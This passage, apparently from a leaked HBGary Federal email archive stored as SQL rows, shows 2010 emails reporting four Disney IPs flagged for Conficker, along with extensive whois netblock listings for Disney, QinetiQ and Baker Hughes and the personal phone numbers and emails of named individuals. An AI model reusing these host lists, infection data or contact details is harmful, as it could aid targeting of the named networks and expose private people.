to talk with them tomorrow).  We found 4 infected Disney IPs in your database.\r\n\r\nWe would like to set up a conversation with you later this week to talk about what is in your database, future growth, etc.\r\n\r\nAaron\r\n\r\nOn May 18, 2010, at 4:50 PM, Daniel Ingevaldson wrote:\r\n\r\n> Aaron--great talking with you last week and thanks for the briefing on what you guys are up to.  I think we might have identified a great opportunity to integrate our products and technologies.  We\'re inching ever closer to beginning our pilot of the reputation service--what we\'re calling Sicily.  Our target date is Thursday of this week.  I thought I would fire off to you our standard beta license agreement that covers the beta program.  I would love for you guys to participate.  Please let me know if you are interested in moving forward and if you have any questions about the agreement.  It is very straight forward--sets some basic restrictions, the beta duration and some related provisions.  Thanks Aaron and I look forward to further exploring this relationship.\r\n> \r\n> Best,\r\n> -d\r\n> \r\n> \r\n> ---------------------------------\r\n> Daniel S. Ingevaldson, COO\r\n> Endgame Systems, LLC\r\n> dsi@endgames.us\r\n> (w)404-781-2955\r\n> (f)404-781-2951\r\n> (m)404-992-9449\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9054,'aaron_hbgary_com/9054.html'),(6743,'2010-05-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004866.M34894P14101Q1597.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Disney','Mark tweaked our API tool and ran against the full Disney netblock and\r\ncame back the these four hits:\r\n\r\n{ \"hosts\": [{\"confidence\": \"0.25922358\", \"events\": {\"Conficker A/B\":\r\n\"1263689496\"}, \"addr\": \"199.181.130.5\"}] }\r\n{ \"hosts\": [{\"confidence\": \"0.10000000\", \"events\": {\"P2P\":\r\n\"1249379940\"}, \"addr\": \"199.181.130.10\"}] }\r\n{ \"hosts\": [{\"confidence\": \"1.00000000\", \"events\": {\"Conficker C\":\r\n\"1274884757\", \"Conficker A/B\": \"1272920533\"}, \"addr\":\r\n\"199.181.134.212\"}] }\r\n{ \"hosts\": [{\"confidence\": \"0.74145617\", \"events\": {\"Conficker A/B\":\r\n\"1274070195\", \"Spam\": \"1265900340\"}, \"addr\": \"199.181.135.135\"}] }\r\n\r\nTed\r\n',16100,'aaron_hbgary_com/16100.html'),(6744,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004866.M728487P14101Q1599.eml','\"Ted Vera\" <ted@hbgary.com>','','Disney - Mclane, Inc. (DISNEY-7) \r\nDISNEY CRUISE LINES (DCL-75) \r\nDisney Online (DISNE-7) \r\nDisney Vacation Club (DVC) \r\nDISNEY WORLDWIDE (DISNE-9) \r\nDISNEY WORLDWIDE (DISNE) \r\nDISNEY WORLDWIDE (DISNE-3) \r\nDISNEY WORLDWIDE (DISNE-8) \r\nDisney Worldwide Services (DWS-43) \r\nDISNEY WORLDWIDE SERVICES (DWS-45) \r\nDISNEY WORLDWIDE SERVICES (DWS-46) \r\nDISNEY WORLDWIDE SERVICES (DWS-47) \r\nDISNEY WORLDWIDE SERVICES (DWS-48) \r\nDISNEY WORLDWIDE SERVICES (DWS-49) \r\nDISNEY WORLDWIDE SERVICES (DWS-50) \r\nDISNEY WORLDWIDE SERVICES (DWS-51) \r\nDISNEY WORLDWIDE SERVICES (DWS-52) \r\nDISNEY WORLDWIDE SERVICES (DISNE-5) \r\nDISNEY WORLDWIDE SERVICES (DWS-57) \r\nDISNEY WORLDWIDE SERVICES (DISNE-6) \r\nDISNEY WORLDWIDE SERVICES INC (DWS-38) \r\nDisney Worldwide Services, Inc. (DWS) \r\nDISNEY WORLDWIDE SERVICES, INC. (DWS-39) \r\nDisney Online - NOC  (DON21-ARIN)     dimg-noc@disney.com +1-866-344-4357\r\nDisney, Bridget  (BD63-ARIN)     info@infobridge.com +1-402-346-4638\r\nDisney, Robin  (RDI56-ARIN)     rdisney@mhaindy.net +1-317-251-0025\r\nDisney Online (AS8137) DISNEYONLINE-AS    8137  \r\nDisney Worldwide Services, Inc. (AS25932) DWSI    25932  \r\nDisney Worldwide Services, Inc. (AS29736) DWS-ORL    29736  \r\nDisney Worldwide Services, Inc. (AS40051) DWS-HK    40051  \r\nDisney Worldwide Services, Inc. (AS30311) DWS-LON    30311  \r\nDisney Worldwide Services, Inc. (AS11812) DWS-UTAH    11812  \r\nDisney Worldwide Services, Inc. (AS46557) DWS-IMD    46557  \r\nDisney - Mclane, Inc. BRBN-64-138-84-0 (NET-64-138-84-0-1) 64.138.84.0 - 64.138.84.31\r\nDISNEY CRUISE LINES DISNEY-C34-8-80 (NET-12-187-8-80-1) 12.187.8.80 - 12.187.8.87\r\nDisney Online DISNEYONLINE-NETBLK-2 (NET-192-147-170-0-1) 192.147.170.0 - 192.147.170.255\r\nDisney Online DISNEYONLINE-NETBLK-1 (NET-198-105-192-0-1) 198.105.192.0 - 198.105.199.255\r\nDisney Online DISNEYONLINE-NETBLK-3 (NET-68-71-208-0-1) 68.71.208.0 - 68.71.223.255\r\nDisney Vacation Club DISNEY-HHL (NET-204-80-134-0-1) 204.80.134.0 - 204.80.134.255\r\nDISNEY WORLDWIDE DISNEY-W32-186-128 (NET-12-170-186-128-1) 12.170.186.128 - 12.170.186.135\r\nDISNEY WORLDWIDE DISNEY-W11-28-32 (NET-12-164-28-32-1) 12.164.28.32 - 12.164.28.39\r\nDISNEY WORLDWIDE DISNEY-W61-160-184 (NET-12-150-160-184-1) 12.150.160.184 - 12.150.160.191\r\nDISNEY WORLDWIDE DISNEY-W83-167 (NET-12-150-167-0-1) 12.150.167.0 - 12.150.167.255\r\nDISNEY WORLDWIDE DISNEY-W12-106-0 (NET-12-192-106-0-1) 12.192.106.0 - 12.192.106.127\r\nDISNEY WORLDWIDE DISNEY-W34-160-96 (NET-12-131-160-96-1) 12.131.160.96 - 12.131.160.127\r\nDISNEY WORLDWIDE DISNEY-W13-179-72 (NET-12-233-179-72-1) 12.233.179.72 - 12.233.179.79\r\nDISNEY WORLDWIDE DISNEY-W74-37-160 (NET-12-176-37-160-1) 12.176.37.160 - 12.176.37.175\r\nDISNEY WORLDWIDE DISNEY-W33-42-232 (NET-12-230-42-232-1) 12.230.42.232 - 12.230.42.239\r\nDisney Worldwide Services SPRINTLINK (NET-204-248-27-0-1) 204.248.27.0 - 204.248.27.255\r\nDISNEY WORLDWIDE SERVICES DISNEY-W21-64-224 (NET-12-169-64-224-1) 12.169.64.224 - 12.169.64.231\r\nDISNEY WORLDWIDE SERVICES DISNEY-W25-15-40 (NET-12-40-15-40-1) 12.40.15.40 - 12.40.15.47\r\nDISNEY WORLDWIDE SERVICES DISNEY-W24-148-168 (NET-12-197-148-168-1) 12.197.148.168 - 12.197.148.175\r\nDISNEY WORLDWIDE SERVICES DISNEY-W23-184-152 (NET-12-150-184-152-1) 12.150.184.152 - 12.150.184.159\r\nDISNEY WORLDWIDE SERVICES DISNEY-W38-95-88 (NET-12-196-95-88-1) 12.196.95.88 - 12.196.95.95\r\nDISNEY WORLDWIDE SERVICES DISNEY-W25-129-56 (NET-12-31-129-56-1) 12.31.129.56 - 12.31.129.63\r\nDISNEY WORLDWIDE SERVICES DISNEY-W44-137-160 (NET-12-184-137-160-1) 12.184.137.160 - 12.184.137.167\r\nDISNEY WORLDWIDE SERVICES DISNEY-W67-117-128 (NET-12-68-117-128-1) 12.68.117.128 - 12.68.117.135\r\nDISNEY WORLDWIDE SERVICES DISNEY-W50-203-216 (NET-12-51-203-216-1) 12.51.203.216 - 12.51.203.223\r\nDISNEY WORLDWIDE SERVICES DISNEY-W74-203-120 (NET-12-51-203-120-1) 12.51.203.120 - 12.51.203.127\r\nDISNEY WORLDWIDE SERVICES INC DISNEY-W73-117-0 (NET-12-44-117-0-1) 12.44.117.0 - 12.44.117.127\r\nDisney Worldwide Services, Inc. DISNEYLAND (NET-153-8-0-0-1) 153.8.0.0 - 153.8.255.255\r\nDisney Worldwide Services, Inc. DISNEY-ORLANDO (NET-192-195-66-0-1) 192.195.66.0 - 192.195.66.255\r\nDisney Worldwide Services, Inc. DISNEY-EBBN (NET-192-195-67-0-1) 192.195.67.0 - 192.195.67.255\r\nDisney Worldwide Services, Inc. DISNEY-NYC1 (NET-198-22-77-0-1) 198.22.77.0 - 198.22.77.255\r\nDisney Worldwide Services, Inc. DISNEY-LONDON (NET-198-102-219-0-1) 198.102.219.0 - 198.102.219.255\r\nDisney Worldwide Services, Inc. DISNEY-CETK1 (NET-192-203-182-0-1) 192.203.182.0 - 192.203.182.255\r\nDisney Worldwide Services, Inc. DISNEY-CPNY (NET-198-203-190-0-1) 198.203.190.0 - 198.203.190.255\r\nDisney Worldwide Services, Inc. DISNEY-BUR2 (NET-198-178-187-0-1) 198.178.187.0 - 198.178.187.255\r\nDisney Worldwide Services, Inc. DISNEY-ROPP (NET-198-178-188-0-1) 198.178.188.0 - 198.178.188.255\r\nDisney Worldwide Services, Inc. DISNEY-BURBANK2 (NET-198-178-189-0-1) 198.178.189.0 - 198.178.189.255\r\nDisney Worldwide Services, Inc. DISNEY-CPGAB (NET-198-187-189-0-1) 198.187.189.0 - 198.187.189.255\r\nDisney Worldwide Services, Inc. DISNEY-WDAS (NET-198-187-190-0-1) 198.187.190.0 - 198.187.190.255\r\nDisney Worldwide Services, Inc. DISNEY-CPMEM (NET-198-180-195-0-1) 198.180.195.0 - 198.180.195.255\r\nDisney Worldwide Services, Inc. DISNEY-HK1 (NET-199-88-194-0-1) 199.88.194.0 - 199.88.194.255\r\nDisney Worldwide Services, Inc. DISNEY-CBLK (NET-199-181-129-0-1) 199.181.129.0 - 199.181.135.255\r\nDisney Worldwide Services, Inc. DISNEY-ORL1 (NET-199-4-128-0-1) 199.4.128.0 - 199.4.128.255\r\nDisney Worldwide Services, Inc. DISNEY-SALTLAKE (NET-204-225-142-0-1) 204.225.142.0 - 204.225.142.255\r\nDisney Worldwide Services, Inc. DISNEY-BUR4 (NET-204-238-46-0-1) 204.238.46.0 - 204.238.46.255\r\nDisney Worldwide Services, Inc. DISNEY-EIT1 (NET-205-159-75-0-1) 205.159.75.0 - 205.159.75.255\r\nDisney Worldwide Services, Inc. DISNEY-ORL2 (NET-204-87-208-0-1) 204.87.208.0 - 204.87.208.255\r\nDisney Worldwide Services, Inc. DISNEY-NYC3 (NET-204-75-167-0-1) 204.75.167.0 - 204.75.167.255\r\nDisney Worldwide Services, Inc. DISNEY-NYDM1 (NET-204-80-231-0-1) 204.80.231.0 - 204.80.231.255\r\nDisney Worldwide Services, Inc. DISNEY-UTAH1 (NET-204-128-230-0-1) 204.128.230.0 - 204.128.230.255\r\nDisney Worldwide Services, Inc. DISNEY-BUR3 (NET-204-128-245-0-1) 204.128.245.0 - 204.128.245.255\r\nDisney Worldwide Services, Inc. DISNEY-BBNT3 (NET-199-184-108-0-1) 199.184.108.0 - 199.184.108.255\r\nDisney Worldwide Services, Inc. DISNEY-BUR5 (NET-204-128-192-0-1) 204.128.192.0 - 204.128.192.255\r\nDisney Worldwide Services, Inc. DISNEY-LON1 (NET-192-195-65-0-1) 192.195.65.0 - 192.195.65.255\r\nDisney Worldwide Services, Inc. DISNEY-CORP (NET-153-7-0-0-1) 153.7.0.0 - 153.7.255.255\r\nDisney Worldwide Services, Inc. DISNEY-BBNET (NET-192-124-33-0-1) 192.124.33.0 - 192.124.33.255\r\nDisney Worldwide Services, Inc. DISNEY-EIT2 (NET-204-69-150-0-1) 204.69.150.0 - 204.69.150.255\r\nDisney Worldwide Services, Inc. DISNEY-NYC2 (NET-198-252-254-0-1) 198.252.254.0 - 198.252.254.255\r\nDisney Worldwide Services, Inc. DISNEY-DREC (NET-198-200-186-0-1) 198.200.186.0 - 198.200.186.255\r\nDisney Worldwide Services, Inc. DISNEY-WORLD (NET-153-6-0-0-1) 153.6.0.0 - 153.6.255.255\r\nDisney Worldwide Services, Inc. DISNEY-LON4 (NET-192-195-64-0-1) 192.195.64.0 - 192.195.64.255\r\nDisney Worldwide Services, Inc. DISNEY-LON3 (NET-192-195-63-0-1) 192.195.63.0 - 192.195.63.255\r\nDisney Worldwide Services, Inc. DISNEY-BUR1 (NET-204-87-172-0-1) 204.87.172.0 - 204.87.172.255\r\nDisney Worldwide Services, Inc. DISNEY-W33-35-16 (NET-12-105-35-16-1) 12.105.35.16 - 12.105.35.31\r\nDisney Worldwide Services, Inc. DISNEY-W65-205-208 (NET-12-35-205-208-1) 12.35.205.208 - 12.35.205.223\r\nDisney Worldwide Services, Inc. DISNEY-W35-240-176 (NET-12-9-240-176-1) 12.9.240.176 - 12.9.240.183\r\nDisney Worldwide Services, Inc. DISNEY-W54-240-240 (NET-12-9-240-240-1) 12.9.240.240 - 12.9.240.247\r\nDisney Worldwide Services, Inc. DISNEY-W61-178-144 (NET-12-151-178-144-1) 12.151.178.144 - 12.151.178.151\r\nDISNEY WORLDWIDE SERVICES, INC. DISNEY-W34-33-16 (NET-12-16-33-16-1) 12.16.33.16 - 12.16.33.31\r\nDISNEY WORLDWIDE SERVICES, INC. DISNEY-W62-33-32 (NET-12-16-33-32-1) 12.16.33.32 - 12.16.33.47\r\nDISNEY WORLDWIDE SERVICES, INC. DISNEY-W67-149-144 (NET-12-8-149-144-1) 12.8.149.144 - 12.8.149.151\r\nThe Walt Disney Company DISNEY (NET-139-104-0-0-1) 139.104.0.0 - 139.104.255.255\r\nDisney RSPC-1242310812314221 (NET-174-143-86-16-1) 174.143.86.16 - 174.143.86.23\r\nDisney RSPC-1242089293694272 (NET-174-143-84-72-1) 174.143.84.72 - 174.143.84.79\r\nDISNEY DISN-CBN-66-214-252-56 (NET-66-214-252-56-1) 66.214.252.56 - 66.214.252.63\r\nDISNEY DISN-CBN-66-214-183-128 (NET-66-214-183-128-1) 66.214.183.128 - 66.214.183.135\r\nDisney RSPC-76685-1163017394 (NET-72-32-29-64-1) 72.32.29.64 - 72.32.29.71\r\nDisney RSPC-128521-1184944021 (NET-74-205-110-8-1) 74.205.110.8 - 74.205.110.15\r\nDisney RSPC-1212676447610954 (NET-98-129-4-192-1) 98.129.4.192 - 98.129.4.223\r\nDisney RSPC-1240270692797462 (NET-174-143-53-168-1) 174.143.53.168 - 174.143.53.175\r\nDISNEY ART ON DEMAND-080121174427 SBC-99-149-150-8-29-0801214441 (NET-99-149-150-8-1) 99.149.150.8 - 99.149.150.15\r\nDISNEY CONSUMER PRODUCT-050407012931 SBC06915412401629050407012937 (NET-69-154-124-16-1) 69.154.124.16 - 69.154.124.23\r\nDisney Coporate DISNEYCOPORATE (NET-216-139-179-128-1) 216.139.179.128 - 216.139.179.255\r\nDisney Cruise Line DCL-MAGIC (NET-208-114-97-104-1) 208.114.97.104 - 208.114.97.111\r\nDisney Cruise Lines DISNEY-CRUISE-LINES (NET-216-7-144-24-1) 216.7.144.24 - 216.7.144.31\r\nDisney Cruise Lines DISNEY-CRUISE-LINES (NET-216-7-144-16-1) 216.7.144.16 - 216.7.144.23\r\nDisney Finanical-050824144754 SBC07113713502429050824144756 (NET-71-137-135-24-1) 71.137.135.24 - 71.137.135.31\r\nDISNEY IM DIGITAL-070203212446 SBC-76-193-222-96-29-0702032450 (NET-76-193-222-96-1) 76.193.222.96 - 76.193.222.103\r\nDISNEY IM DIGITAL-070203212518 SBC-76-193-222-112-29-0702032523 (NET-76-193-222-112-1) 76.193.222.112 - 76.193.222.119\r\nDisney Imagineering R and D Inc. SBCIS24145 (NET-209-232-174-16-1) 209.232.174.16 - 209.232.174.23\r\nDisney On Line SBCIS68689 (NET-63-199-60-64-1) 63.199.60.64 - 63.199.60.95\r\nDisney On Line SBCIS70761 (NET-63-199-110-88-1) 63.199.110.88 - 63.199.110.95\r\nDISNEY ONLINE STUDIOS CANADA PEER1-DISNEYCANADA-02 (NET-69-172-241-16-1) 69.172.241.16 - 69.172.241.31\r\nDISNEY ONLINE STUDIOS CANADA PEER1-DISNEYCANADA-03 (NET-69-172-241-64-1) 69.172.241.64 - 69.172.241.95\r\nDISNEY ONLINE STUDIOS CANADA PEER1-DISNEYCANADA-01 (NET-69-172-241-0-1) 69.172.241.0 - 69.172.241.15\r\nDisney Publishing SBC067117254184021206 (NET-67-117-254-184-1) 67.117.254.184 - 67.117.254.191\r\nDisney Regional Entertainment UU-63-72 (NET-63-72-0-0-1) 63.72.0.0 - 63.72.3.255\r\nDisney Sport Retail PBI-CUSTNET-1721 (NET-206-171-95-112-1) 206.171.95.112 - 206.171.95.119\r\nDisney Sport Retail PBI-CUSTNET-1722 (NET-206-171-95-120-1) 206.171.95.120 - 206.171.95.127\r\nDisney Store UU-63-119-51-88 (NET-63-119-51-88-1) 63.119.51.88 - 63.119.51.95\r\nDISNEY STORE 6716-050528003826 SBC06921807004029050528003833 (NET-69-218-70-40-1) 69.218.70.40 - 69.218.70.47\r\nDISNEY STORE 6838-080218163643 SBC-99-154-185-184-29-0802183657 (NET-99-154-185-184-1) 99.154.185.184 - 99.154.185.191\r\nDISNEY STORE 6839-051005070314 SBC07022918411229051005070325 (NET-70-229-184-112-1) 70.229.184.112 - 70.229.184.119\r\nDISNEY STORE THE-050912123652 SBC07025002623229050912123656 (NET-70-250-26-232-1) 70.250.26.232 - 70.250.26.239\r\nDISNEY STORE-050719141011 SBC06922321311229050719141015 (NET-69-223-213-112-1) 69.223.213.112 - 69.223.213.119\r\nDISNEY STORE-050721141305 SBC06922321320829050721141310 (NET-69-223-213-208-1) 69.223.213.208 - 69.223.213.215\r\nDISNEY STORE-060406011517 SBC07500509912829060406011538 (NET-75-5-99-128-1) 75.5.99.128 - 75.5.99.135\r\nDISNEY STORE-100114202936 SBC-99-104-208-40-29-1001143020 (NET-99-104-208-40-1) 99.104.208.40 - 99.104.208.47\r\nDisney Televentures PBI-CUSTNET-3197 (NET-209-232-184-32-1) 209.232.184.32 - 209.232.184.39\r\nDisney Televentures PBI-CUSTNET-8943 (NET-209-232-184-224-1) 209.232.184.224 - 209.232.184.231\r\nDISNEY THEATRICAL PRDUCTNS-070509192056 SBC-76-225-166-72-29-0705092106 (NET-76-225-166-72-1) 76.225.166.72 - 76.225.166.79\r\nDISNEY THEATRICAL PRDUCTNS-070509192155 SBC-76-225-166-104-29-0705092205 (NET-76-225-166-104-1) 76.225.166.104 - 76.225.166.111\r\nDisney Vacation Club RSPC-1241032332690144 (NET-72-3-174-32-1) 72.3.174.32 - 72.3.174.39\r\nDISNEY WELCOME DESK-071031044744 SBC-99-128-232-64-29-0710314757 (NET-99-128-232-64-1) 99.128.232.64 - 99.128.232.71\r\nDISNEY WELCOME DESK-071031095011 SBC-99-166-122-96-29-0710315025 (NET-99-166-122-96-1) 99.166.122.96 - 99.166.122.103\r\nDISNEY WORLD WIDE SERVICES UU-65-196-183-D7 (NET-65-196-183-0-1) 65.196.183.0 - 65.196.183.7\r\nDISNEY WORLD WIDE SERVICES, INC UU-65-200-51-152-D5 (NET-65-200-51-152-1) 65.200.51.152 - 65.200.51.159\r\nDisney Worldwide Services PBI-CUSTNET-8977 (NET-207-214-50-208-1) 207.214.50.208 - 207.214.50.215\r\nDISNEY WORLDWIDE SERVICES UU-65-218-221-48-D9 (NET-65-218-221-48-1) 65.218.221.48 - 65.218.221.55\r\nDISNEY WORLDWIDE SERVICES UU-65-202-72-64-D6 (NET-65-202-72-64-1) 65.202.72.64 - 65.202.72.71\r\nDISNEY WORLDWIDE SERVICES, INC. UU-208-255-172-32-D8 (NET-208-255-172-32-1) 208.255.172.32 - 208.255.172.39\r\nDISNEY WORLDWIDE SERVICES-061102213228 SBC07504910410429061102213240 (NET-75-49-104-104-1) 75.49.104.104 - 75.49.104.111\r\nDISNEY WORLDWIDE SERVICES-061115073120 SBC07505124916029061115073236 (NET-75-51-249-160-1) 75.51.249.160 - 75.51.249.167\r\nDISNEY WORLDWIDE SERVICES-061117084606 SBC07505124922429061117084632 (NET-75-51-249-224-1) 75.51.249.224 - 75.51.249.231\r\nDisney Worldwide Shared Svs. INAP-LAX010-DISNEYWW-25029 (NET-216-133-238-64-1) 216.133.238.64 - 216.133.238.127\r\nDisney Worldwide Svcs SBC068120093104030402 (NET-68-120-93-104-1) 68.120.93.104 - 68.120.93.111\r\nDISNEY WORLDWIDE SVCS-050304021121 SBC06923818118429050304021253 (NET-69-238-181-184-1) 69.238.181.184 - 69.238.181.191\r\nDISNEY WORLDWIDE SVCS-060615002452 SBC07501914624829060615002522 (NET-75-19-146-248-1) 75.19.146.248 - 75.19.146.255\r\nDISNEY WORLDWIDE SVCS-060719235928 SBC07501914524029060719235951 (NET-75-19-145-240-1) 75.19.145.240 - 75.19.145.247\r\nDisney XD INAP-LAX010-DISNEYXD-35679 (NET-216-133-236-160-1) 216.133.236.160 - 216.133.236.175\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4739,'aaron_hbgary_com/4739.html'),(6745,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004867.M267901P14101Q1600.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','I would also run these','QINETIQ (QINET-6) \r\nQINETIQ N AMERICA OPERATIONS (QINET-7) \r\nQINETIQ N AMERICA OPERATIONS (QINET-5) \r\nQINETIQ N AMERICA OPERATIONS (QINET-9) \r\nQinetiq North America Operations,LLC (QINET-4) \r\nQinetiq North America Operations,LLC (AS4977) ASN1    4977  \r\nQINETIQ Q0506-65-118-63-160 (NET-65-118-63-160-1) 65.118.63.160 - 65.118.63.175\r\nQINETIQ N AMERICA OPERATIONS Q0615-63-232-44-128 (NET-63-232-44-128-1) 63.232.44.128 - 63.232.44.159\r\nQINETIQ N AMERICA OPERATIONS Q0429-72-164-254-184 (NET-72-164-254-184-1) 72.164.254.184 - 72.164.254.191\r\nQINETIQ N AMERICA OPERATIONS Q1111-65-118-155-0 (NET-65-118-155-0-1) 65.118.155.0 - 65.118.155.31\r\nQinetiq North America Operations,LLC Q0514-63-150-225-0 (NET-63-150-225-0-1) 63.150.225.0 - 63.150.225.255\r\nQinetiq North America Operations,LLC QINET-4-PUBLIC (NET-96-45-208-0-1) 96.45.208.0 - 96.45.223.255\r\nQinetiq North America Operations,LLC Q1210-216-206-165-64 (NET-216-206-165-64-1) 216.206.165.64 - 216.206.165.95\r\nQinetiq North America Operations,LLC Q1204-67-130-244-224 (NET-67-130-244-224-1) 67.130.244.224 - 67.130.244.255\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14579,'aaron_hbgary_com/14579.html'),(6746,'2010-05-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004867.M628770P14101Q1601.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','And these','Baker Hughes (BAKERH-1) \r\nBAKER HUGHES (BAKER-44) \r\nBAKER HUGHES (BAKER-42) \r\nBaker Hughes Inteq (BHI) \r\nBAKER HUGHES OILFIELD OPERATIONS, INC (BHOO) \r\nBaker Hughes UU-204-253-245 (NET-204-253-245-0-1) 204.253.245.0 - 204.253.245.255\r\nBAKER HUGHES UU-63-99-176-80-D2 (NET-63-99-176-80-1) 63.99.176.80 - 63.99.176.95\r\nBAKER HUGHES UU-63-76-122-D6 (NET-63-76-122-0-1) 63.76.122.0 - 63.76.122.255\r\nBaker Hughes Inteq NET-INTEQ (NET-147-108-0-0-1) 147.108.0.0 - 147.108.255.255\r\nBAKER HUGHES OILFIELD OPERATIONS, INC BAKER-HU92-100-0 (NET-12-175-100-0-2) 12.175.100.0 - 12.175.100.7\r\nBAKER HUGHES OILFIELD OPERATIONS, INC BAKER-HU62-48-232 (NET-12-106-48-232-1) 12.106.48.232 - 12.106.48.239\r\nBAKER HUGHES OILFIELD OPERATIONS, INC BAKER-HU19-16-120 (NET-12-71-16-120-1) 12.71.16.120 - 12.71.16.127\r\nBAKER HUGHES UU-65-203-20-48 (NET-65-203-20-48-1) 65.203.20.48 - 65.203.20.63\r\nBAKER HUGHES UU-65-211-197-144-D5 (NET-65-211-197-144-1) 65.211.197.144 - 65.211.197.159\r\nBAKER HUGHES UU-65-208-34-64-D9 (NET-65-208-34-64-1) 65.208.34.64 - 65.208.34.79\r\nBAKER HUGHES UU-63-96-40-96-D1 (NET-63-96-40-96-1) 63.96.40.96 - 63.96.40.127\r\nBAKER HUGHES UU-63-96-238-224-D4 (NET-63-96-238-224-1) 63.96.238.224 - 63.96.238.255\r\nBaker Hughes UU-65-201-30-112 (NET-65-201-30-112-1) 65.201.30.112 - 65.201.30.127\r\nBaker Hughes UU-65-203-117-128-D3 (NET-65-203-117-128-1) 65.203.117.128 - 65.203.117.191\r\nBaker Hughes UU-65-247-116-40-D3 (NET-65-247-116-40-1) 65.247.116.40 - 65.247.116.47\r\nBAKER HUGHES UU-63-85-207-16-D4 (NET-63-85-207-16-1) 63.85.207.16 - 63.85.207.31\r\nBAKER HUGHES UU-65-203-131-128-D6 (NET-65-203-131-128-1) 65.203.131.128 - 65.203.131.143\r\nBAKER HUGHES UU-65-218-67-128-D6 (NET-65-218-67-128-1) 65.218.67.128 - 65.218.67.143\r\nBAKER HUGHES UU-65-218-68-128-D9 (NET-65-218-68-128-1) 65.218.68.128 - 65.218.68.143\r\nBAKER HUGHES UU-65-220-92-224-D6 (NET-65-220-92-224-1) 65.220.92.224 - 65.220.92.239\r\nBAKER HUGHES UU-65-205-152-D3 (NET-65-205-152-0-1) 65.205.152.0 - 65.205.152.31\r\nBAKER HUGHES UU-63-97-99-224-D3 (NET-63-97-99-224-1) 63.97.99.224 - 63.97.99.255\r\nBAKER HUGHES UU-63-99-18-240-D4 (NET-63-99-18-240-1) 63.99.18.240 - 63.99.18.255\r\nBAKER HUGHES UU-65-212-236-224-D6 (NET-65-212-236-224-1) 65.212.236.224 - 65.212.236.239\r\nBAKER HUGHES UU-65-212-203-64-D6 (NET-65-212-203-64-1) 65.212.203.64 - 65.212.203.79\r\nBAKER HUGHES UU-65-205-72-80-D8 (NET-65-205-72-80-1) 65.205.72.80 - 65.205.72.95\r\nBAKER HUGHES UU-63-97-253-128-D4 (NET-63-97-253-128-1) 63.97.253.128 - 63.97.253.159\r\nBAKER HUGHES UU-63-110-100-80-D4 (NET-63-110-100-80-1) 63.110.100.80 - 63.110.100.95\r\nBAKER HUGHES UU-65-221-209-48-D3 (NET-65-221-209-48-1) 65.221.209.48 - 65.221.209.63\r\nBAKER HUGHES UU-65-240-93-112-D3 (NET-65-240-93-112-1) 65.240.93.112 - 65.240.93.127\r\nBAKER HUGHES UU-65-248-80-112-D4 (NET-65-248-80-112-1) 65.248.80.112 - 65.248.80.127\r\nBAKER HUGHES UU-208-251-57-96-D12 (NET-208-251-57-96-1) 208.251.57.96 - 208.251.57.111\r\nBAKER HUGHES UU-208-254-96-176-D9 (NET-208-254-96-176-1) 208.254.96.176 - 208.254.96.191\r\nBAKER HUGHES UU-65-196-190-128-D8 (NET-65-196-190-128-1) 65.196.190.128 - 65.196.190.159\r\nBAKER HUGHES UU-65-208-36-16-D11 (NET-65-208-36-16-1) 65.208.36.16 - 65.208.36.31\r\nBAKER HUGHES UU-65-212-9-176-D5 (NET-65-212-9-176-1) 65.212.9.176 - 65.212.9.191\r\nBAKER HUGHES UU-65-212-192-32-D5 (NET-65-212-192-32-1) 65.212.192.32 - 65.212.192.47\r\nBAKER HUGHES UU-63-78-114-112 (NET-63-78-114-112-1) 63.78.114.112 - 63.78.114.127\r\nBAKER HUGHES UU-63-98-62-112 (NET-63-98-62-112-1) 63.98.62.112 - 63.98.62.127\r\nBAKER HUGHES UU-63-98-167-144 (NET-63-98-167-144-1) 63.98.167.144 - 63.98.167.159\r\nBAKER HUGHES UU-63-98-167-176 (NET-63-98-167-176-1) 63.98.167.176 - 63.98.167.191\r\nBAKER HUGHES UU-63-98-220-128-D4 (NET-63-98-220-128-1) 63.98.220.128 - 63.98.220.143\r\nBAKER HUGHES UU-65-215-221-D6 (NET-65-215-221-0-1) 65.215.221.0 - 65.215.221.15\r\nBAKER HUGHES UU-63-98-175-16-D3 (NET-63-98-175-16-1) 63.98.175.16 - 63.98.175.31\r\nBAKER HUGHES UU-65-201-18-192-D3 (NET-65-201-18-192-1) 65.201.18.192 - 65.201.18.207\r\nBAKER HUGHES UU-65-201-33-32-D4 (NET-65-201-33-32-1) 65.201.33.32 - 65.201.33.47\r\nBAKER HUGHES UU-65-211-149-128-D1 (NET-65-211-149-128-1) 65.211.149.128 - 65.211.149.143\r\nBAKER HUGHES UU-63-99-2-192-D4 (NET-63-99-2-192-1) 63.99.2.192 - 63.99.2.207\r\nBAKER HUGHES UU-63-86-155-240 (NET-63-86-155-240-1) 63.86.155.240 - 63.86.155.255\r\nBAKER HUGHES UU-65-206-10-96-D4 (NET-65-206-10-96-1) 65.206.10.96 - 65.206.10.111\r\nBAKER HUGHES UU-63-99-66-192-D7 (NET-63-99-66-192-1) 63.99.66.192 - 63.99.66.207\r\nBAKER HUGHES UU-63-99-66-208 (NET-63-99-66-208-1) 63.99.66.208 - 63.99.66.223\r\nBAKER HUGHES UU-65-201-95-208 (NET-65-201-95-208-1) 65.201.95.208 - 65.201.95.223\r\nBAKER HUGHES UU-63-76-142-48-D8 (NET-63-76-142-48-1) 63.76.142.48 - 63.76.142.63\r\nBAKER HUGHES UU-65-204-237-144 (NET-65-204-237-144-1) 65.204.237.144 - 65.204.237.159\r\nBAKER HUGHES UU-65-213-56-48-D4 (NET-65-213-56-48-1) 65.213.56.48 - 65.213.56.63\r\nBAKER HUGHES UU-206-114-99-96 (NET-206-114-99-96-1) 206.114.99.96 - 206.114.99.111\r\nBAKER HUGHES UU-65-205-95-176 (NET-65-205-95-176-1) 65.205.95.176 - 65.205.95.191\r\nBAKER HUGHES 